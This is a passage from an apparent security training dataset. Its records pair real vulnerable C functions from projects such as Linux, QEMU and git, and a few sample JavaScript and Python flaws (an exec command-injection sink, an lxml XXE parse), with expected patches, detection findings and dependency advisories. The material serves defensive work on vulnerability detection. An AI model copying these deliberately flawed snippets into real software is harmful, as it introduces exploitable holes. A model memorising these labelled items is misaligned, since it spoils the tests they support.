<2.7.1\",\n \"fixed_version\": \"2.7.1\",\n \"finding\": \"Integer overflow in Tensorflow\",\n \"remediation\": \"Upgrade tensorflow to 2.7.1 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-862", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-862). Produce the patched version and explain the fix. Output JSON.", "input": "static struct key *construct_key_and_link(struct keyring_search_context *ctx,\n\t\t\t\t\t const char *callout_info,\n\t\t\t\t\t size_t callout_len,\n\t\t\t\t\t void *aux,\n\t\t\t\t\t struct key *dest_keyring,\n\t\t\t\t\t unsigned long flags)\n{\n\tstruct key_user *user;\n\tstruct key *key;\n\tint ret;\n\n\tkenter(\"\");\n\n \tif (ctx->index_key.type == &key_type_keyring)\n \t\treturn ERR_PTR(-EPERM);\n \n\tuser = key_user_lookup(current_fsuid());\n\tif (!user)\n\t\treturn ERR_PTR(-ENOMEM);\n \n\tconstruct_get_dest_keyring(&dest_keyring);\n \n \tret = construct_alloc_key(ctx, dest_keyring, flags, user, &key);\n \tkey_user_put(user);\n\n\tif (ret == 0) {\n\t\tret = construct_key(key, callout_info, callout_len, aux,\n\t\t\t\t dest_keyring);\n\t\tif (ret < 0) {\n\t\t\tkdebug(\"cons failed\");\n\t\t\tgoto construction_failed;\n\t\t}\n \t} else if (ret == -EINPROGRESS) {\n \t\tret = 0;\n \t} else {\n\t\tgoto couldnt_alloc_key;\n \t}\n \n \tkey_put(dest_keyring);\n\tkleave(\" = key %d\", key_serial(key));\n\treturn key;\n\n construction_failed:\n \tkey_negate_and_link(key, key_negative_timeout, NULL, NULL);\n \tkey_put(key);\ncouldnt_alloc_key:\n \tkey_put(dest_keyring);\n \tkleave(\" = %d\", ret);\n \treturn ERR_PTR(ret);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-862\",\n \"cwe_name\": \"see MITRE CWE\",\n \"cve\": \"CVE-2017-17807\",\n \"fixed_code\": \"static struct key *construct_key_and_link(struct keyring_search_context *ctx,\\n\\t\\t\\t\\t\\t const char *callout_info,\\n\\t\\t\\t\\t\\t size_t callout_len,\\n\\t\\t\\t\\t\\t void *aux,\\n\\t\\t\\t\\t\\t struct key *dest_keyring,\\n\\t\\t\\t\\t\\t unsigned long flags)\\n{\\n\\tstruct key_user *user;\\n\\tstruct key *key;\\n\\tint ret;\\n\\n\\tkenter(\\\"\\\");\\n\\n \\tif (ctx->index_key.type == &key_type_keyring)\\n \\t\\treturn ERR_PTR(-EPERM);\\n \\n\\tret = construct_get_dest_keyring(&dest_keyring);\\n\\tif (ret)\\n\\t\\tgoto error;\\n \\n\\tuser = key_user_lookup(current_fsuid());\\n\\tif (!user) {\\n\\t\\tret = -ENOMEM;\\n\\t\\tgoto error_put_dest_keyring;\\n\\t}\\n \\n \\tret = construct_alloc_key(ctx, dest_keyring, flags, user, &key);\\n \\tkey_user_put(user);\\n\\n\\tif (ret == 0) {\\n\\t\\tret = construct_key(key, callout_info, callout_len, aux,\\n\\t\\t\\t\\t dest_keyring);\\n\\t\\tif (ret < 0) {\\n\\t\\t\\tkdebug(\\\"cons failed\\\");\\n\\t\\t\\tgoto construction_failed;\\n\\t\\t}\\n \\t} else if (ret == -EINPROGRESS) {\\n \\t\\tret = 0;\\n \\t} else {\\n\\t\\tgoto error_put_dest_keyring;\\n \\t}\\n \\n \\tkey_put(dest_keyring);\\n\\tkleave(\\\" = key %d\\\", key_serial(key));\\n\\treturn key;\\n\\n construction_failed:\\n \\tkey_negate_and_link(key, key_negative_timeout, NULL, NULL);\\n \\tkey_put(key);\\nerror_put_dest_keyring:\\n \\tkey_put(dest_keyring);\\nerror:\\n \\tkleave(\\\" = %d\\\", ret);\\n \\treturn ERR_PTR(ret);\\n }\\n\",\n \"change_summary\": \"KEYS: add missing permission check for request_key() destination\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int cifs_lock(struct file *file, int cmd, struct file_lock *flock)\n{\n\tint rc, xid;\n\tint lock = 0, unlock = 0;\n\tbool wait_flag = false;\n\tbool posix_lck = false;\n\tstruct cifs_sb_info *cifs_sb;\n\tstruct cifs_tcon *tcon;\n\tstruct cifsInodeInfo *cinode;\n\tstruct cifsFileInfo *cfile;\n\t__u16 netfid;\n\t__u32 type;\n\n\trc = -EACCES;\n\txid = get_xid();\n\n\tcifs_dbg(FYI, \"Lock parm: 0x%x flockflags: 0x%x flocktype: 0x%x start: %lld end: %lld\\n\",\n\t\t cmd, flock->fl_flags, flock->fl_type,\n\t\t flock->fl_start, flock->fl_end);\n\n\tcfile = (struct cifsFileInfo *)file->private_data;\n\ttcon = tlink_tcon(cfile->tlink);\n\n\tcifs_read_flock(flock, &type, &lock, &unlock, &wait_flag,\n\t\t\ttcon->ses->server);\n\n\tcifs_sb = CIFS_SB(file->f_path.dentry->d_sb);\n\tnetfid = cfile->fid.netfid;\n\tcinode = CIFS_I(file_inode(file));\n\n\tif (cap_unix(tcon->ses) &&\n\t (CIFS_UNIX_FCNTL_CAP & le64_to_cpu(tcon->fsUnixInfo.Capability)) &&\n\t ((cifs_sb->mnt_cifs_flags & CIFS_MOUNT_NOPOSIXBRL) == 0))\n\t\tposix_lck = true;\n\t/*\n\t * BB add code here to normalize offset and length to account for\n\t * negative length which we can not accept over the wire.\n\t */\n\tif (IS_GETLK(cmd)) {\n\t\trc = cifs_getlk(file, flock, type, wait_flag, posix_lck, xid);\n\t\tfree_xid(xid);\n\t\treturn rc;\n\t}\n\n\tif (!lock && !unlock) {\n\t\t/*\n\t\t * if no lock or unlock then nothing to do since we do not\n\t\t * know what it is\n\t\t */\n\t\tfree_xid(xid);\n\t\treturn -EOPNOTSUPP;\n\t}\n\n\trc = cifs_setlk(file, flock, type, wait_flag, posix_lck, lock, unlock,\n\t\t\txid);\n\tfree_xid(xid);\n\treturn rc;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb)\n{\n\tint i;\n\tfor (i=scm->fp->count-1; i>=0; i--)\n\t\tunix_inflight(scm->fp->fp[i]);\n\tUNIXCB(skb).fp = scm->fp;\n\tskb->destructor = unix_destruct_fds;\n\tscm->fp = NULL;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-94", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.ritense.valtimo:document\nInstalled version: 12.0.0\nSummary: Valtimo has SpEL injection via StandardEvaluationContext that allows Remote Code Execution by admin users", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-j7j9-5253-f7vh\",\n \"cve\": \"CVE-2026-42555\",\n \"aliases\": [\n \"CVE-2026-42555\"\n ],\n \"cwe\": \"CWE-94\",\n \"ecosystem\": \"Maven\",\n \"package\": \"com.ritense.valtimo:document\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=12.0.0, <12.32.0\",\n \"fixed_version\": \"12.32.0\",\n \"finding\": \"Valtimo has SpEL injection via StandardEvaluationContext that allows Remote Code Execution by admin users\",\n \"remediation\": \"Upgrade com.ritense.valtimo:document to 12.32.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Yarp.ReverseProxy\nInstalled version: <1.0.1\nSummary: YARP Denial of Service Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8xc6-g8xw-h2c4\",\n \"cve\": \"CVE-2022-26924\",\n \"aliases\": [\n \"CVE-2022-26924\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"NuGet\",\n \"package\": \"Yarp.ReverseProxy\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.0.1\",\n \"fixed_version\": \"1.0.1\",\n \"finding\": \"YARP Denial of Service Vulnerability\",\n \"remediation\": \"Upgrade Yarp.ReverseProxy to 1.0.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.craftercms:crafter-studio\nInstalled version: 3.1.23\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"org.craftercms:crafter-studio\",\n \"installed_version\": \"3.1.23\",\n \"note\": \"org.craftercms:crafter-studio 3.1.23 is at or above the fixed version for GHSA-2jv3-v37p-65w3; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/answerdev/answer\nInstalled version: <1.0.4\nSummary: Answer has Cross-site Scripting vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p7wj-c85f-xq9h\",\n \"cve\": \"CVE-2023-0741\",\n \"aliases\": [\n \"CVE-2023-0741\",\n \"GO-2023-1552\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/answerdev/answer\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0, <1.0.4\",\n \"fixed_version\": \"1.0.4\",\n \"finding\": \"Answer has Cross-site Scripting vulnerability\",\n \"remediation\": \"Upgrade github.com/answerdev/answer to 1.0.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-189", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int jpc_unk_getparms(jpc_ms_t *ms, jpc_cstate_t *cstate, jas_stream_t *in)\n{\n\tjpc_unk_t *unk = &ms->parms.unk;\n\n\t/* Eliminate compiler warning about unused variables. */\n\tcstate = 0;\n\n\tif (ms->len > 0) {\n\t\tif (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {\n\t\t\treturn -1;\n\t\t}\n\t\tif (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {\n\t\t\tjas_free(unk->data);\n\t\t\treturn -1;\n\t\t}\n\t\tunk->len = ms->len;\n\t} else {\n\t\tunk->data = 0;\n\t\tunk->len = 0;\n\t}\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"project\": \"jasper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/russellhaering/gosaml2\nInstalled version: <0.11.0\nSummary: Unsigned SAML LogoutRequest Acceptance in gosaml2 in github.com/russellhaering/gosaml2", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-4764\",\n \"cve\": null,\n \"aliases\": [\n \"GHSA-pcgw-qcv5-h8ch\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/russellhaering/gosaml2\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <0.11.0\",\n \"fixed_version\": \"0.11.0\",\n \"finding\": \"Unsigned SAML LogoutRequest Acceptance in gosaml2 in github.com/russellhaering/gosaml2\",\n \"remediation\": \"Upgrade github.com/russellhaering/gosaml2 to 0.11.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-78", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "const { exec } = require('child_process');\nfunction ping(req, res) {\n const param = req.params.file;\n exec('ping -c 1 ' + param, (e, out) => res.send(out));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"cwe_name\": \"OS Command Injection\",\n \"title\": \"Command injection via child_process.exec\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"exec\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"ping -c 1 \",\n \"ast_node\": \"string_fragment\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"'\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 29\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 44\n },\n {\n \"token\": \"send\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 45\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 50\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 53\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 54\n }\n ],\n \"explanation\": \"User input is interpolated into a shell command string executed by exec().\",\n \"remediation\": \"Avoid shell invocation; pass arguments as an array to exec APIs and validate/allow-list inputs.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: unrtf\nInstalled version: 0.21.5-2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"unrtf\",\n \"installed_version\": \"0.21.5-2\",\n \"note\": \"unrtf 0.21.5-2 is at or above the fixed version for DEBIAN-CVE-2014-9274; no known advisory applies to this version.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "ssize_t nbd_receive_reply(QIOChannel *ioc, NBDReply *reply)\n{\n uint8_t buf[NBD_REPLY_SIZE];\n uint32_t magic;\n ssize_t ret;\n \n ret = read_sync(ioc, buf, sizeof(buf));\n if (ret < 0) {\n return ret;\n }\n if (ret != sizeof(buf)) {\n LOG(\"read failed\");\n return -EINVAL;\n }\n\n /* Reply\n [ 0 .. 3] magic (NBD_REPLY_MAGIC)\n [ 4 .. 7] error (0 == no error)\n [ 7 .. 15] handle\n */\n\n magic = ldl_be_p(buf);\n reply->error = ldl_be_p(buf + 4);\n reply->handle = ldq_be_p(buf + 8);\n\n reply->error = nbd_errno_to_system_errno(reply->error);\n\n if (reply->error == ESHUTDOWN) {\n /* This works even on mingw which lacks a native ESHUTDOWN */\n LOG(\"server shutting down\");\n return -EINVAL;\n }\n TRACE(\"Got reply: { magic = 0x%\" PRIx32 \", .error = % \" PRId32\n \", handle = %\" PRIu64\" }\",\n magic, reply->error, reply->handle);\n\n if (magic != NBD_REPLY_MAGIC) {\n LOG(\"invalid magic (got 0x%\" PRIx32 \")\", magic);\n return -EINVAL;\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2017-7539\",\n \"fixed_code\": \"ssize_t nbd_receive_reply(QIOChannel *ioc, NBDReply *reply)\\n{\\n uint8_t buf[NBD_REPLY_SIZE];\\n uint32_t magic;\\n ssize_t ret;\\n \\n ret = read_sync(ioc, buf, sizeof(buf));\\n if (ret <= 0) {\\n return ret;\\n }\\n if (ret != sizeof(buf)) {\\n LOG(\\\"read failed\\\");\\n return -EINVAL;\\n }\\n\\n /* Reply\\n [ 0 .. 3] magic (NBD_REPLY_MAGIC)\\n [ 4 .. 7] error (0 == no error)\\n [ 7 .. 15] handle\\n */\\n\\n magic = ldl_be_p(buf);\\n reply->error = ldl_be_p(buf + 4);\\n reply->handle = ldq_be_p(buf + 8);\\n\\n reply->error = nbd_errno_to_system_errno(reply->error);\\n\\n if (reply->error == ESHUTDOWN) {\\n /* This works even on mingw which lacks a native ESHUTDOWN */\\n LOG(\\\"server shutting down\\\");\\n return -EINVAL;\\n }\\n TRACE(\\\"Got reply: { magic = 0x%\\\" PRIx32 \\\", .error = % \\\" PRId32\\n \\\", handle = %\\\" PRIu64\\\" }\\\",\\n magic, reply->error, reply->handle);\\n\\n if (magic != NBD_REPLY_MAGIC) {\\n LOG(\\\"invalid magic (got 0x%\\\" PRIx32 \\\")\\\", magic);\\n return -EINVAL;\\n }\\n return 0;\\n}\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-94", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int ssi_sd_load(QEMUFile *f, void *opaque, int version_id)\n{\n SSISlave *ss = SSI_SLAVE(opaque);\n ssi_sd_state *s = (ssi_sd_state *)opaque;\n int i;\n\n if (version_id != 1)\n return -EINVAL;\n\n s->mode = qemu_get_be32(f);\n s->cmd = qemu_get_be32(f);\n for (i = 0; i < 4; i++)\n s->cmdarg[i] = qemu_get_be32(f);\n for (i = 0; i < 5; i++)\n s->response[i] = qemu_get_be32(f);\n s->arglen = qemu_get_be32(f);\n s->response_pos = qemu_get_be32(f);\n s->stopping = qemu_get_be32(f);\n \n ss->cs = qemu_get_be32(f);\n s->mode = SSI_SD_CMD;\n dinfo = drive_get_next(IF_SD);\n s->sd = sd_init(dinfo ? dinfo->bdrv : NULL, true);\n if (s->sd == NULL) {\n return -1;\n }\n register_savevm(dev, \"ssi_sd\", -1, 1, ssi_sd_save, ssi_sd_load, s);\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-4537\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " static void mark_commit(struct commit *c, void *data)\n {\n\tmark_object(&c->object, NULL, NULL, data);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-2324\",\n \"fixed_code\": \" static void mark_commit(struct commit *c, void *data)\\n {\\n\\tmark_object(&c->object, NULL, data);\\n }\\n\",\n \"change_summary\": \"list-objects: pass full pathname to callbacks\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int do_ioctl32_pointer(unsigned int fd, unsigned int cmd,\n\t\t\t unsigned long arg, struct file *f)\n{\n\treturn sys_ioctl(fd, cmd, (unsigned long)compat_ptr(arg));\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.tomcat:tomcat\nInstalled version: <3.3.1a\nSummary: Jakarta Tomcat Directory Listing vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-qfw2-wvrw-mvw4\",\n \"cve\": \"CVE-2003-0042\",\n \"aliases\": [\n \"CVE-2003-0042\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.tomcat:tomcat\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <3.3.1a\",\n \"fixed_version\": \"3.3.1a\",\n \"finding\": \"Jakarta Tomcat Directory Listing vulnerability\",\n \"remediation\": \"Upgrade org.apache.tomcat:tomcat to 3.3.1a or later.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-611", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following python code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "from lxml import etree\ndef parse():\n value = request.args.get('url')\n return etree.fromstring(value)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-611\",\n \"cwe_name\": \"XML External Entity (XXE)\",\n \"title\": \"XXE via unsafe lxml parsing\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"etree\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"fromstring\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 33\n }\n ],\n \"explanation\": \"Default lxml parsing resolves external entities, enabling XXE.\",\n \"remediation\": \"Disable external entity and DTD processing in the XML parser.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: opencv-contrib-python\nInstalled version: <4.1.1.26\nSummary: Out-of-bounds Read and Out-of-bounds Write in OpenCV", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-2798\",\n \"cve\": \"CVE-2019-14492\",\n \"aliases\": [\n \"CVE-2019-14492\",\n \"GHSA-fw99-f933-rgh8\",\n \"PYSEC-2026-2821\",\n \"PYSEC-2026-2837\",\n \"PYSEC-2026-721\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"opencv-contrib-python\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4.1.1.26\",\n \"fixed_version\": \"4.1.1.26\",\n \"finding\": \"Out-of-bounds Read and Out-of-bounds Write in OpenCV\",\n \"remediation\": \"Upgrade opencv-contrib-python to 4.1.1.26 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void dma_rx(struct b43_dmaring *ring, int *slot)\n{\n\tconst struct b43_dma_ops *ops = ring->ops;\n\tstruct b43_dmadesc_generic *desc;\n\tstruct b43_dmadesc_meta *meta;\n\tstruct b43_rxhdr_fw4 *rxhdr;\n\tstruct sk_buff *skb;\n\tu16 len;\n\tint err;\n\tdma_addr_t dmaaddr;\n\n\tdesc = ops->idx2desc(ring, *slot, &meta);\n\n\tsync_descbuffer_for_cpu(ring, meta->dmaaddr, ring->rx_buffersize);\n\tskb = meta->skb;\n\n\trxhdr = (struct b43_rxhdr_fw4 *)skb->data;\n\tlen = le16_to_cpu(rxhdr->frame_len);\n\tif (len == 0) {\n\t\tint i = 0;\n\n\t\tdo {\n\t\t\tudelay(2);\n\t\t\tbarrier();\n\t\t\tlen = le16_to_cpu(rxhdr->frame_len);\n\t\t} while (len == 0 && i++ < 5);\n\t\tif (unlikely(len == 0)) {\n\t\t\tdmaaddr = meta->dmaaddr;\n\t\t\tgoto drop_recycle_buffer;\n\t\t}\n\t}\n\tif (unlikely(b43_rx_buffer_is_poisoned(ring, skb))) {\n\t\t/* Something went wrong with the DMA.\n\t\t * The device did not touch the buffer and did not overwrite the poison. */\n\t\tb43dbg(ring->dev->wl, \"DMA RX: Dropping poisoned buffer.\\n\");\n \t\tdmaaddr = meta->dmaaddr;\n \t\tgoto drop_recycle_buffer;\n \t}\n\tif (unlikely(len > ring->rx_buffersize)) {\n \t\t/* The data did not fit into one descriptor buffer\n \t\t * and is split over multiple buffers.\n \t\t * This should never happen, as we try to allocate buffers\n\t\t * big enough. So simply ignore this packet.\n\t\t */\n\t\tint cnt = 0;\n\t\ts32 tmp = len;\n\n\t\twhile (1) {\n\t\t\tdesc = ops->idx2desc(ring, *slot, &meta);\n\t\t\t/* recycle the descriptor buffer. */\n\t\t\tb43_poison_rx_buffer(ring, meta->skb);\n\t\t\tsync_descbuffer_for_device(ring, meta->dmaaddr,\n\t\t\t\t\t\t ring->rx_buffersize);\n\t\t\t*slot = next_slot(ring, *slot);\n\t\t\tcnt++;\n\t\t\ttmp -= ring->rx_buffersize;\n\t\t\tif (tmp <= 0)\n\t\t\t\tbreak;\n\t\t}\n\t\tb43err(ring->dev->wl, \"DMA RX buffer too small \"\n\t\t \"(len: %u, buffer: %u, nr-dropped: %d)\\n\",\n\t\t len, ring->rx_buffersize, cnt);\n\t\tgoto drop;\n\t}\n\n\tdmaaddr = meta->dmaaddr;\n\terr = setup_rx_descbuffer(ring, desc, meta, GFP_ATOMIC);\n\tif (unlikely(err)) {\n\t\tb43dbg(ring->dev->wl, \"DMA RX: setup_rx_descbuffer() failed\\n\");\n\t\tgoto drop_recycle_buffer;\n\t}\n\n\tunmap_descbuffer(ring, dmaaddr, ring->rx_buffersize, 0);\n\tskb_put(skb, len + ring->frameoffset);\n\tskb_pull(skb, ring->frameoffset);\n\n\tb43_rx(ring->dev, skb, 